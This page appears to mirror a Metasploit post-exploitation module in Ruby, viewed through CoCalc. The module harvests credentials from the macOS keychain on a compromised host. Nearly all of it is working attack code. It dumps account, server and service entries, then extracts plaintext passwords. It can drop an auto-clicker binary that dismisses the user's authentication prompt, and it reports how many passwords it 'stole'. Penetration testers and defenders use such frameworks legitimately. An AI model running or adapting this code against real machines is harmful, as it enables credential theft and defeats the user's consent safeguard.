CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/osx/gather/enum_keychain.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::OSX::System
8
include Msf::Exploit::FileDropper
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'OS X Gather Keychain Enumeration',
15
'Description' => %q{
16
This module presents a way to quickly go through the current user's keychains and
17
collect data such as email accounts, servers, and other services. Please note:
18
when using the GETPASS and GETPASS_AUTO_ACCEPT option, the user may see an authentication
19
alert flash briefly on their screen that gets dismissed by a programmatically triggered click.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [ 'ipwnstuff <e[at]ipwnstuff.com>', 'joev' ],
23
'Platform' => [ 'osx' ],
24
'SessionTypes' => [ 'meterpreter', 'shell' ]
25
)
26
)
27
28
register_options(
29
[
30
OptBool.new('GETPASS', [false, 'Collect passwords.', false]),
31
OptBool.new('GETPASS_AUTO_ACCEPT', [false, 'Attempt to auto-accept any prompts when collecting passwords.', true]),
32
OptInt.new('GETPASS_TIMEOUT', [false, 'Maximum time to wait on all passwords to be dumped.', 999999]),
33
OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
34
]
35
)
36
end
37
38
def list_keychains
39
keychains = cmd_exec('security list')
40
user = cmd_exec('whoami')
41
print_status("The following keychains for #{user.strip} were found:")
42
print_line(keychains.chomp)
43
return keychains =~ /No such file or directory/ ? nil : keychains
44
end
45
46
def enum_accounts(_keychains)
47
user = cmd_exec('whoami').chomp
48
out = cmd_exec("security dump | egrep 'acct|desc|srvr|svce'")
49
50
accounts = []
51
52
out.split("\n").each do |line|
53
next if line =~ /NULL/
54
55
case line
56
when /"acct"/
57
accounts << Hash.new
58
accounts.last['acct'] = line.split('<blob>=')[1].split('"')[1]
59
when /"srvr"/
60
accounts.last['srvr'] = line.split('<blob>=')[1].split('"')[1]
61
when /"svce"/
62
accounts.last['svce'] = line.split('<blob>=')[1].split('"')[1]
63
when /"desc"/
64
accounts.last['desc'] = line.split('<blob>=')[1].split('"')[1]
65
end
66
end
67
68
accounts
69
end
70
71
def get_passwords(accounts)
72
(1..accounts.count).each do |num|
73
if accounts[num].key?('srvr')
74
c = 'find-internet-password'
75
s = accounts[num]['srvr']
76
else
77
c = 'find-generic-password'
78
s = accounts[num]['svce']
79
end
80
81
cmd = cmd_exec("security #{c} -ga \"#{accounts[num]['acct']}\" -s \"#{s}\" 2>&1")
82
83
cmd.split("\n").each do |line|
84
if line =~ /password: /
85
if line.split[1].nil?
86
accounts[num]['pass'] = nil
87
else
88
accounts[num]['pass'] = line.split[1].gsub('"', '')
89
end
90
end
91
end
92
end
93
return accounts
94
end
95
96
def save(data, kind = 'Keychain information')
97
l = store_loot('macosx.keychain.info',
98
'plain/text',
99
session,
100
data,
101
'keychain_info.txt',
102
'Mac Keychain Account/Server/Service/Description')
103
104
print_good("#{@peer} - #{kind} saved in #{l}")
105
end
106
107
def run
108
@peer = "#{session.session_host}:#{session.session_port}"
109
110
keychains = list_keychains
111
if keychains.nil?
112
print_error("#{@peer} - Module timed out, no keychains found.")
113
return
114
end
115
116
user = cmd_exec('/usr/bin/whoami').chomp
117
accounts = enum_accounts(keychains)
118
save(accounts)
119
120
if datastore['GETPASS']
121
if datastore['GETPASS_AUTO_ACCEPT']
122
print_status("Writing auto-clicker to `#{clicker_file}'")
123
write_file(clicker_file, clicker_bin)
124
register_file_for_cleanup(clicker_file)
125
126
print_status('Dumping keychain with auto-clicker...')
127
passwords = cmd_exec("chmod +x #{clicker_file} && #{clicker_file}", nil, datastore['GETPASS_TIMEOUT'])
128
save(passwords, 'Plaintext passwords')
129
130
begin
131
count = JSON.parse(passwords).count
132
print_good("Successfully stole #{count} passwords")
133
rescue JSON::ParserError => e
134
print_error('Response was not valid JSON')
135
end
136
else
137
begin
138
passwords = get_passwords(accounts)
139
rescue StandardError
140
print_error("#{@peer} - Module timed out, no passwords found.")
141
print_error("#{@peer} - This is likely due to the host not responding to the prompt.")
142
end
143
save(passwords)
144
end
145
end
146
end
147
148
def clicker_file
149
@clicker_file ||=
150
"#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
151
end
152
153
def clicker_bin
154
File.read(File.join(
155
Msf::Config.data_directory, 'exploits', 'osx', 'dump_keychain', 'dump'
156
))
157
end
158
159
end
160
161